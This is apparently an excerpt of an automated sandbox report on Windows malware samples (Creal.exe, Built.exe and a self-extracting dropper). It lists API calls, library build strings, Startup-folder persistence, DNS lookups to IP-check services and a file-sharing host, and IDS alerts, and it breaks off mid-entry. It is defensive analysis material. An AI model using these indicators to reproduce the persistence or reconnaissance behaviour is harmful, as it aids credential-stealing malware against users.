Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21992 ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,ERR_new,ERR_set_debug,ERR_set_error,CRYPTO_free,CRYPTO_strdup,OPENSSL_LH_new,X509_STORE_new,CTLOG_STORE_new_ex,OPENSSL_sk_num,X509_VERIFY_PARAM_new,OPENSSL_sk_new_null,OPENSSL_sk_new_null,CRYPTO_new_ex_data,CRYPTO_secure_zalloc,RAND_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,RAND_priv_bytes_ex,ERR_new,ERR_set_debug,	5_2_00007FFD8AF21992
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF4D510 CRYPTO_free_ex_data,OPENSSL_cleanse,OPENSSL_cleanse,X509_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_clear_free,	5_2_00007FFD8AF4D510
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2193D CRYPTO_malloc,ERR_new,ERR_set_debug,ERR_set_error,	5_2_00007FFD8AF2193D
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A265124 i2d_X509,PyBytes_FromStringAndSize,CRYPTO_free,	5_2_00007FFD9A265124
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A2653DC ASN1_STRING_type,ASN1_STRING_length,ASN1_STRING_get0_data,Py_BuildValue,ASN1_STRING_to_UTF8,_Py_Dealloc,Py_BuildValue,CRYPTO_free,	5_2_00007FFD9A2653DC

Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txt

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: Built.exe, 00000004.00000002.2178299171.00007FFD945E2000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Built.exe, 00000004.00000002.2174319027.00007FFD9253F000.00000040.00000001.01000000.0000001F.sdmp, Creal.exe, 00000005.00000002.2432361806.00007FFD89E27000.00000002.00000001.01000000.00000032.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: Built.exe, 00000004.00000002.2175008965.00007FFD93AAA000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B43A000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: Built.exe, 00000004.00000002.2174692109.00007FFD93615000.00000040.00000001.01000000.00000019.sdmp, Creal.exe, 00000005.00000002.2433373548.00007FFD8AFA5000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: Creal.exe, 00000005.00000002.2439456162.00007FFDA4634000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Creal.exe, 00000002.00000003.2113278532.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000003.00000003.2098974146.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2210158040.00007FFDA54E3000.00000002.00000001.01000000.0000000C.sdmp, Creal.exe, 00000005.00000002.2439290824.00007FFDA4174000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: Built.exe, 00000004.00000002.2175008965.00007FFD93A12000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B3A2000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Creal.exe, 00000002.00000003.2113278532.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000003.00000003.2098974146.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2210158040.00007FFDA54E3000.00000002.00000001.01000000.0000000C.sdmp, Creal.exe, 00000005.00000002.2439290824.00007FFDA4174000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: Built.exe, Built.exe, 00000004.00000002.2175008965.00007FFD93AAA000.00000040.00000001.01000000.00000018.sdmp, Creal.exe, 00000005.00000002.2434226473.00007FFD8B43A000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: Creal.exe, 00000002.00000003.2116245484.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Creal.exe, 00000002.00000003.2114341483.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: Built.exe, 00000004.00000002.2211113612.00007FFDA5B81000.00000040.00000001.01000000.00000014.sdmp, Creal.exe, 00000005.00000002.2438100824.00007FFD9F7F3000.00000002.00000001.01000000.0000002B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: Built.exe, 00000004.00000002.2207256705.00007FFDA46E1000.00000040.00000001.01000000.0000000D.sdmp, Creal.exe, 00000005.00000002.2437686483.00007FFD9F3D3000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Creal.exe, 00000002.00000003.2115776871.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Built.exe, Built.exe, 00000004.00000002.2205132237.00007FFDA3AE1000.00000040.00000001.01000000.0000001D.sdmp, Creal.exe, 00000005.00000002.2438752621.00007FFDA3BF6000.00000002.00000001.01000000.00000028.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: Built.exe
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2203329287.00007FFDA35EC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: Creal.exe, 00000005.00000002.2437048857.00007FFD9DA42000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2208486691.00007FFDA4DA1000.00000040.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2203329287.00007FFDA35EC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2209383720.00007FFDA54BE000.00000040.00000001.01000000.00000010.sdmp, Creal.exe, 00000005.00000002.2438283541.00007FFDA086D000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: Creal.exe, 00000005.00000002.2439456162.00007FFDA4634000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, 00000000.00000000.2087291779.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmp, #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Built.exe, Built.exe, 00000004.00000002.2206641962.00007FFDA4331000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: Built.exe, Built.exe, 00000004.00000002.2202084879.00007FFDA35A1000.00000040.00000001.01000000.00000011.sdmp, Creal.exe, 00000005.00000002.2433119716.00007FFD8A1FF000.00000002.00000001.01000000.0000002E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python3.pdb source: Creal.exe, 00000005.00000002.2417262722.00000203E7250000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python313.pdb source: Creal.exe, 00000005.00000002.2435297538.00007FFD93FA8000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: Creal.exe, 00000002.00000003.2114341483.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: Built.exe, Built.exe, 00000004.00000002.2174692109.00007FFD93615000.00000040.00000001.01000000.00000019.sdmp, Creal.exe, 00000005.00000002.2433373548.00007FFD8AFA5000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: Built.exe, Built.exe, 00000004.00000002.2193375861.00007FFDA33E1000.00000040.00000001.01000000.00000017.sdmp, Creal.exe, 00000005.00000002.2436764632.00007FFD9A26E000.00000002.00000001.01000000.0000002C.sdmp

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF60638647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF60638647C
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF60639ECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF60639ECE0
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Code function: 0_2_00007FF6063B3130 FindFirstFileExA,	0_2_00007FF6063B3130
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D9249280 FindFirstFileExW,FindClose,	2_2_00007FF6D9249280
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D92483C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF6D92483C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 2_2_00007FF6D9261874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF6D9261874
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E2883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00007FF65E2883C0
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E289280 FindFirstFileExW,FindClose,	3_2_00007FF65E289280
Source: C:\Users\user\Desktop\Built.exe	Code function: 3_2_00007FF65E2A1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF65E2A1874
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E289280 FindFirstFileExW,FindClose,	4_2_00007FF65E289280
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E2A1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	4_2_00007FF65E2A1874
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FF65E2883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00007FF65E2883C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D9249280 FindFirstFileExW,FindClose,	5_2_00007FF6D9249280
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D92483C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00007FF6D92483C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FF6D9261874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF6D9261874

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ifconfig.me
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:49726
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:49956

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.2.3
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ifconfig.meUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ifconfig.meUser-Agent: curl/7.83.1Accept: /

Source: global traffic	DNS traffic detected: DNS query: blank-v1rwt.in
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: ifconfig.me
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: geolocation-db.com

Source: Creal.exe, 00000005.00000003.2411511224.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2365364395.00000203E799D000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2388738513.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2420552762.00000203E7B19000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2377385278.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B17000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2409168432.00000203E799E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: Creal.exe, 00000005.00000003.2372707280.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2403845274.00000203E7B81000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2369898360.00000203E7538000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376137526.00000203E8430000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2380069030.00000203E7545000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2411200731.00000203E754A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2380581302.00000203E8451000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2412123973.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376742548.00000203E843A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2383027569.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2377974542.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381479785.00000203E784F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374846297.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376177154.00000203E8437000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373487338.00000203E785E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376890554.00000203E7B7E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381601278.00000203E7855000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2408501019.00000203E7459000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375135249.00000203E7B6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blog.cryptographyusering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: Creal.exe, 00000002.00000003.2114552537.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117119142.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117531945.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.dig
Source: Creal.exe, 00000002.00000003.2442922105.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117355623.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000003.00000003.2107749535.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: Built.exe, 00000003.00000003.2107749535.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi3
Source: Creal.exe, 00000002.00000003.2116656541.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116495637.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2127851067.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116780837.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115287831.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 